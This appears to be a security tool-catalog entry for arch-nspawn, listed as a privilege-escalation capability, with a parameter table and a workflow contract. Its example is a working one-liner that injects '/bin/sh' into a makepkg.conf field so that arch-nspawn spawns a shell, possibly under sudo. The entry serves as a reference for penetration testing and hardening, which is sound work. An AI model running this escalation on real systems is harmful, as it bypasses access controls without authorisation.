system enabled community medium v1.0.0

arch-nspawn

Spawn a shell in an Arch Linux chroot container, can be used for privilege escalation via sudo.

📋 Live Preview
arch-nspawn {args}
📎 args
arch-nspawn {args}

Sandbox: execFile · Timeout: 30s

Capabilities

security.privilege-escalation.shell

Parameters

Name Type Required Default Description Aliases
args string No - Arguments to arch-nspawn -

Contract

Inputs

security.execution.context

Sudo or unprivileged execution context

Outputs

process.output

Shell output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Consumes

security.execution.context

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Spawn an interactive shell via arch-nspawn

mkdir -p ./etc/ && grep -oP "^CHROOT_VERSION='\K[^']+" /usr/share/devtools/lib/archroot.sh >.arch-chroot && touch ./etc/pacman.conf && echo 'CARCH=true;/bin/sh;exit' >etc/makepkg.conf && arch-nspawn .

References